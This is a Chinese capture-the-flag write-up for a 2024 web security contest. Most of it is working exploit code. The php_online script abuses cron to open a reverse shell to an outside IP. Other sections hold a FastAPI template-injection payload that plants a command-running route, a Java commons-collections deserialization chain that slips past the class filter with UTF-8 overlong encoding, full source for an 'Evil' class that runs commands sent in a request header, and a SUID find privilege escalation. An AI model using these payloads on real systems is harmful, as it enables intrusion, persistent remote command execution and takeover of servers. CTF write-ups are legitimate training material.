巅峰极客 2024 初赛 Web Writeup

巅峰极客 2024 初赛 Web Writeup

EncirclingGame

玩一下游戏就得到 flag 了

php_online

rm * 删除不了文件夹, 利用这个特性写入 logging/__init__.py 从而以 www-data 权限执行任意代码

观察到 /sandbox 目录 www-data 可写, 并且 ps aux 发现存在 crond 进程, 容易想到将 /etc/cron.d 软链接至 /sandbox/xxx 目录, 这样后续代码在以 root 权限写入 phpcode 文件时, 实际写入的路径就会变成 /etc/cron.d/phpcode, 最dian后通过 cron 计划任务反弹 shell

phpcode 内容加了一句 php system 执行 sudo -l, 这个是为了阻塞脚本的执行, 使得 cron 有足够的时间调度计划任务

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests

url = 'http://eci-2ze8s04bx2wv3zny8l0a.cloudeci1.ichunqiu.com/'
sandbox_url = 'http://eci-2ze8s04bx2wv3zny8l0a.cloudeci1.ichunqiu.com/sandbox'

def get_session(id):
    resp = requests.post(url, data={'id': id}, allow_redirects=False)
    return resp.cookies['session']

def send_payload(session, payload):
    cookies = {'session': session}
    resp = requests.post(sandbox_url, data={'code': payload}, cookies=cookies)
    return resp.text

def escalate_priv(cmd):
    session = get_session('ABC12345')

    mkdir_payload = "<?php system('mkdir logging') ?>"
    send_payload(session,mkdir_payload)

    create_file_payload = r"""<?php system('echo "import os\nos.system(\'{} > /tmp/a.txt\')" > logging/__init__.py');?>""".format(cmd)
    send_payload(session, create_file_payload)

    getoutput_payload = "<?php system('cat /tmp/a.txt') ?>"
    return send_payload(session, getoutput_payload)

escalate_priv('ln -s /etc/cron.d /sandbox/CRONCRON')

cron_session = get_session('CRONCRON')

cron_payload = """
# <?php system('sudo -l'); ?>
* * * * * root bash -c 'bash -i >& /dev/tcp/122.51.21.9/65123 0>&1'
"""
send_payload(cron_session, cron_payload)

GoldenHornKing

fastapi ssti 不出网打内存马

1
2
3
4
5
6
7
8
9
import requests

url = 'http://eci-2ze870nxuud7kn92ktzy.cloudeci1.ichunqiu.com:8000/calc'
# url = 'http://127.0.0.1:8000/calc'

payload = r'''app.routes[(dict(e=a)|join|count)].__class__.__init__.__builtins__['eval']("app.add_api_route('/shell', lambda x: __import__('os').popen(x).read())", {'app':app})'''

resp = requests.get(url, params={'calc_req': payload})
print(resp.text)

然后访问 /shell?x=cat /flag

easy_java

题目提示 jdk17 + cb, 实际上新版本 commons-beanutils 一般会同时带上 commons-collections

测试后猜测环境不出网, 于是打一个 SpringEcho 回显

题目会在反序列化前过滤 org.apache 开头的类, 试了一下发现可以用 utf-8 overlong encoding 绕过

payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.example.easyjava;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.invoke.MethodHandles;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Demo {
    public static void main(String[] args) throws Exception {
        UnsafeUtil.patchModule(Demo.class);
        UnsafeUtil.patchModule(ReflectUtil.class);
        UnsafeUtil.patchModule(UTF8OverlongObjectOutputStream.class);

        String s = "yv66vgAAADMBLAgAAgEAFENhY2hlLUNvbnRyb2wtSGJvYm5mCgAEAAUHAAYMAAcACAEAEGphdmEvbGFuZy9PYmplY3QBAAY8aW5pdD4BAAMoKVYIAAoBAA9zdW4ubWlzYy5VbnNhZmUKAAwADQcADgwADwAQAQAPamF2YS9sYW5nL0NsYXNzAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsIABIBAAl0aGVVbnNhZmUKAAwAFAwAFQAWAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwoAGAAZBwAaDAAbABwBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADXNldEFjY2Vzc2libGUBAAQoWilWCgAYAB4MAB8AIAEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwAiAQAPc3VuL21pc2MvVW5zYWZlCAAkAQAJZ2V0TW9kdWxlCgAMACYMACcAKAEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwoAKgArBwAsDAAtAC4BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHADABACxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvZnVuY3RvcnMvRXZpbAgAMgEABm1vZHVsZQoAIQA0DAA1ADYBABFvYmplY3RGaWVsZE9mZnNldAEAHChMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7KUoKACEAOAwAOQA6AQAPZ2V0QW5kU2V0T2JqZWN0AQA5KExqYXZhL2xhbmcvT2JqZWN0O0pMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwA8AQATamF2YS9sYW5nL0V4Y2VwdGlvbgoALwA+DAA/AAgBAANydW4KAEEAQgcAQwwARABFAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwoAQQBHDABIAEkBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7CABLAQA8b3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5yZXF1ZXN0LlJlcXVlc3RDb250ZXh0SG9sZGVyCgBNAE4HAE8MAFAAEAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEACWxvYWRDbGFzcwgAUgEAFGdldFJlcXVlc3RBdHRyaWJ1dGVzCgAvAFQMAFUAVgEADGludm9rZU1ldGhvZAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7CABYAQAKZ2V0UmVxdWVzdAgAWgEAC2dldFJlc3BvbnNlCgAEAFwMAF0AXgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwgAYAEACWdldEhlYWRlcgcAYgEAEGphdmEvbGFuZy9TdHJpbmcKAAwAZAwAZQAoAQAJZ2V0TWV0aG9kCgAvAGcMAGgAaQEAEGdldFJlcUhlYWRlck5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwoAYQBrDABsAG0BAAdpc0VtcHR5AQADKClaCABvAQAJZ2V0V3JpdGVyBwBxAQAOamF2YS9pby9Xcml0ZXIKAC8AcwwAdAB1AQAEZXhlYwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7CgBwAHcMAHgAeQEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgBwAHsMAHwACAEABWZsdXNoCgBwAH4MAH8ACAEABWNsb3NlCACBAQAHb3MubmFtZQoAgwCEBwCFDACGAHUBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkKAGEAiAwAiQBpAQALdG9Mb3dlckNhc2UIAIsBAAN3aW4KAGEAjQwAjgCPAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoIAJEBAAcvYmluL3NoCACTAQACLWMIAJUBAAdjbWQuZXhlCACXAQACL2MKAJkAmgcAmwwAnACdAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CgCZAJ8MAHQAoAEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsKAKIAowcApAwApQCmAQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07BwCoAQARamF2YS91dGlsL1NjYW5uZXIKAKcAqgwABwCrAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCACtAQACXGEKAKcArwwAsACxAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7CACzAQAACgCnALUMALYAbQEAB2hhc05leHQHALgBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgoAtwAFCgC3ALsMALwAvQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwoApwC/DADAAGkBAARuZXh0CgC3AMIMAMMAaQEACHRvU3RyaW5nCgA7AMUMAMYAaQEACmdldE1lc3NhZ2UKAC8AyAwAVQDJAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7CgAMAMsMAMwAzQEAEmdldERlY2xhcmVkTWV0aG9kcwEAHSgpW0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7CgAqAM8MANAAaQEAB2dldE5hbWUKAGEA0gwA0wDUAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaCgAqANYMANcA2AEAEWdldFBhcmFtZXRlclR5cGVzAQAUKClbTGphdmEvbGFuZy9DbGFzczsHANoBAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uCgAMANwMAN0AXgEADWdldFN1cGVyY2xhc3MKANkA3wwABwB5CgAqABkHAOIBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgcA5AEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uCgDhAMUKAOMA3wEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAuTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9mdW5jdG9ycy9FdmlsOwEAC3Vuc2FmZUNsYXNzAQARTGphdmEvbGFuZy9DbGFzczsBAAt1bnNhZmVGaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAZ1bnNhZmUBABFMc3VuL21pc2MvVW5zYWZlOwEAD2dldE1vZHVsZU1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQASTGphdmEvbGFuZy9PYmplY3Q7AQADY2xzAQAGb2Zmc2V0AQABSgEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zAQAGd3JpdGVyAQAQTGphdmEvaW8vV3JpdGVyOwEAEXJlcXVlc3RBdHRyaWJ1dGVzAQAHcmVxdWVzdAEACHJlc3BvbnNlAQAKZ2V0SGVhZGVyTQEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAdpc0xpbnV4AQABWgEABm9zVHlwZQEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEAB2V4ZWNSZXMBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAEdmFyOAcBCAcBEwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BAAx0YXJnZXRPYmplY3QBAAptZXRob2ROYW1lBwEXAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAAWkBAAFJAQAHbWV0aG9kcwEAG1tMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABXZhcjEyAQAhTGphdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRp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";
        byte[] data = Base64.getDecoder().decode(s);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(MethodHandles.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"lookup", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("defineClass", new Class[]{byte[].class}, new Object[]{data}),
                new InstantiateTransformer(new Class[0], new Object[0]),
                new ConstantTransformer(1)
        };

        Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        innerMap.remove("keykey");

        ReflectUtil.setFieldValue(transformerChain, "iTransformers", transformers);
        System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(expMap)));
    }
}

SpringEcho 源码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
package org.apache.commons.collections.functors;

import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;
import sun.misc.Unsafe;

public class Evil {
    private String getReqHeaderName() {
        return "Cache-Control-Hbobnf";
    }

    public Evil() throws Exception {
        try {
            Class unsafeClass = Class.forName("sun.misc.Unsafe");
            Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
            unsafeField.setAccessible(true);
            Unsafe unsafe = (Unsafe)unsafeField.get((Object)null);
            Method getModuleMethod = Class.class.getDeclaredMethod("getModule");
            Object module = getModuleMethod.invoke(Object.class);
            Class cls = Evil.class;
            long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
            unsafe.getAndSetObject(cls, offset, module);
        } catch (Exception var9) {
        }

        this.run();
    }

    public void run() {
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();

        try {
            Object requestAttributes = this.invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
            Object request = this.invokeMethod(requestAttributes, "getRequest");
            Object response = this.invokeMethod(requestAttributes, "getResponse");
            Method getHeaderM = request.getClass().getMethod("getHeader", String.class);
            String cmd = (String)getHeaderM.invoke(request, this.getReqHeaderName());
            if (cmd != null && !cmd.isEmpty()) {
                Writer writer = (Writer)this.invokeMethod(response, "getWriter");
                writer.write(this.exec(cmd));
                writer.flush();
                writer.close();
            }
        } catch (Exception var8) {
        }

    }

    private String exec(String cmd) {
        try {
            boolean isLinux = true;
            String osType = System.getProperty("os.name");
            if (osType != null && osType.toLowerCase().contains("win")) {
                isLinux = false;
            }

            String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = (new Scanner(in)).useDelimiter("\\a");

            String execRes;
            for(execRes = ""; s.hasNext(); execRes = execRes + s.next()) {
            }

            return execRes;
        } catch (Exception var8) {
            Exception var8 = var8;
            Exception e = var8;
            return e.getMessage();
        }
    }

    private Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
        return this.invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
    }

    private Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Class clazz = obj instanceof Class ? (Class)obj : obj.getClass();
        Method method = null;
        Class tempClass = clazz;

        while(method == null && tempClass != null) {
            try {
                if (paramClazz == null) {
                    Method[] methods = tempClass.getDeclaredMethods();

                    for(int i = 0; i < methods.length; ++i) {
                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
                            method = methods[i];
                            break;
                        }
                    }
                } else {
                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
                }
            } catch (NoSuchMethodException var12) {
                tempClass = tempClass.getSuperclass();
            }
        }

        if (method == null) {
            throw new NoSuchMethodException(methodName);
        } else {
            method.setAccessible(true);
            if (obj instanceof Class) {
                try {
                    return method.invoke((Object)null, param);
                } catch (IllegalAccessException var10) {
                    throw new RuntimeException(var10.getMessage());
                }
            } else {
                try {
                    return method.invoke(obj, param);
                } catch (IllegalAccessException var11) {
                    throw new RuntimeException(var11.getMessage());
                }
            }
        }
    }
}

utf-8 overlong encoding 参考 https://github.com/qi4L/JYso/blob/master/src/main/java/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.java

admin_Test

弱口令 admin/qwe123!@

上传文件执行命令用户为 ctf

然后 find 命令进行 suid 提权, 读取 flag

1
touch /tmp/test && find /tmp/test -exec cat /flag \\;
0%